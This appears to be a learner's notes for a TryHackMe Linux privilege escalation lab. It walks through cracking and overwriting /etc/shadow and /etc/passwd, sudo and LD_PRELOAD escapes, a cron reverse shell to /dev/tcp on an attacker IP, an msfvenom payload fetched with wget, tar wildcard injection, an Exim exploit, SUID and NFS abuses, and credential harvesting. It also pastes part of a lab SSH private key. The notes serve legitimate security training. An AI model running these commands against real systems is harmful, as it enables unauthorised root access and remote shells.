Linux PrivEsc

10.10.150.12

user" account is "password321"

https://blog.davidvarghese.dev/posts/tryhackme-linux-privesc/#task-7-sudo---environment-variables

M1: Weak File Permissions : Readable /etc/shadow

Note that the /etc/shadow file on the VM is world-readable:

ls -l /etc/shadow

View the contents of the /etc/shadow file:

cat /etc/shadow

Each line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.

Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Switch to the root user, using the cracked password:

su root

root@debian:/home/user/tools#

Weak File Permissions - Writable /etc/shadow

OR

Generate a new password hash with a password of your choice:

mkpasswd -m sha-512 password123

replace hash in /etc/shadow file

su root

root@debian:/home/user/tools#

M2: Weak File Permissions - Writable /etc/passwd

ls -l /etc/passwd

Generate a new password hash with a password of your choice:

openssl passwd newpasswordhere | 8pzKaMxBTKq36

Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").

root:8pzKaMxBTKq36:0:0:root:/root:/bin/bash

Switch to the root user, using the new password:

su root

root@debian:/home/user/tools#

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

newroot:8pzKaMxBTKq36:0:0:root:/root:/bin/bash

Now switch to the newroot user, using the new password:

su newroot

root@debian:/home/user/tools# Sudo - Shell Escape Sequences sudo -l

Visit GTFOBins (https://gtfobins.github.io) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

sudo -l | User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/nano (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/awk (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/sbin/apache2 (root) NOPASSWD: /bin/more

search GFTO bins for ftp : https://gtfobins.github.io/gtfobins/ftp/

Sudo: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

commands: sudo ftp

!/bin/sh | sh-4.1$

Sudo - Environment Variables

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the env_keep options):

run sudo -l

Create a shared object using the code located at /home/user/tools/sudo/preload.c: cat /home/user/tools/sudo/preload.c gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

sudo LD_PRELOAD=/tmp/preload.so ftp | root@debian:/home/user/tools#

Run ldd against the apache2 program file to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):

sudo LD_LIBRARY_PATH=/tmp apache2

A root shell should spawn

Cron Jobs - File Permissions

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab:

cat /etc/crontab

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

root overwrite.sh

root /usr/local/bin/compress.sh

Locate the full path of the overwrite.sh file:

locate overwrite.sh

Note that the file is world-writable:

ls -l /usr/local/bin/overwrite.sh

Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

#!/bin/bash bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener. If it doesn't recheck the permissions of the file, is anything missing?

nc -nvlp 4444

Listening on [0.0.0.0] (family 0, port 4444)

Connection from 10.10.150.12 59268

received! bash: no job control in this shell root@debian:~#

Cron Jobs - PATH Environment Variable

run cat /etc/crontab

Note that the PATH variable starts with /home/user which is our user's home directory.

PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

create a new overwrite file in /home/user directory

nano overwrite.sh | add below code to file

#!/bin/bash

cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash

Make sure that the file is executable:

chmod +x /home/user/overwrite.sh

run /tmp/rootbash -p | rootbash-4.1#

remove the modified code | rm /tmp/rootbash then exit

Cron Jobs - Wildcards

View the contents of the other cron job script:

cat /usr/local/bin/compress.sh

Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.213.204 LPORT=4444 -f elf -o shell.elf > shell.elf file created

Transfer the shell.elf file to /home/user/ on the Debian VM (you can use scp or host the file on a webserver on your Kali box and use wget). Make sure the file is executable:

setup python server > python -m http.server 1234

run wget http://10.10.213.204:1234/shell.elf to dowloand file to vulnerable VM

chmod +x /home/user/shell.elf to make file readable

Create these two files in /home/user:

touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

nc -nvlp 4444

rootbash-4.1#

delete all the files you created to prevent the cron job from executing again:

rm /home/user/shell.elf

rm /home/user/--checkpoint=1

rm /home/user/--checkpoint-action=exec=shell.elf

SUID / SGID Executables - Known Exploits

Find all the SUID/SGID executables on the Debian VM:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. Exploit-DB, Google, and GitHub are good places to search!

https://www.exploit-db.com/exploits/39535 | Exim 4.84-3 - Local Privilege Escalation cve-2016-1531

run exploit | ./cve-2016-1531.sh > shell found | sh-4.1#

SUID / SGID Executables - Shared Object Injection

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

/usr/local/bin/suid-so

Run strace on the file and search the output for open/access calls and for "no such file" errors:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

Create the .config directory for the libcalc.so file:

mkdir /home/user/.config

Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

Execute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.

/usr/local/bin/suid-so result bash-4.1#

Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

cat ~/.*history | less

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

mysql -h somehost.local -uroot -ppassword123

su root > password = password123

root@debian:/home/user#

Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:

ls /home/user

Note the presence of a myvpn.ovpn config file. View the contents of the file:

cat /home/user/myvpn.ovpn

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

/etc/openvpn/auth.txt

cat /etc/openvpn/auth.txt | root, password123

su root > password = password123

root@debian:/home/user#

Passwords & Keys - SSH Keys

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

ls -la /

Note that there appears to be a hidden directory called .ssh. View the contents of the directory:

ls -l /.ssh

Note that there is a world-readable file called root_key. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

root_key

cd /.ssh > cat root_key too see ssh key

Copy the key over to your Kali box (it's easier to just view the contents of the root_key file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:

nano roo_key

key:

q9FfKfwj0mJaUteyJHWHZ3/GNm gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2 NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+ 5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7 VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7 6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW 1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K 824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6 Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1 Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im

chmod 600 root_key

Use the key to login to the Debian VM as the root account (note that due to the age of the box, some additional settings are required when using SSH):

ssh -i root_key root@10.10.150.12 | root@debian:~#

NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

cat /etc/exports

Note that the /tmp share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

sudo su

Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):

mkdir /tmp/nfs mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs

Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

Still using Kali's root user, make the file executable and set the SUID permission:

chmod +xs /tmp/nfs/shell.elf

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

/tmp/shell.elf

Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory: /home/user/tools/privesc-scripts

user@debian:~/tools/privesc-scripts$ ls = LinEnum.sh linpeas.sh lse.sh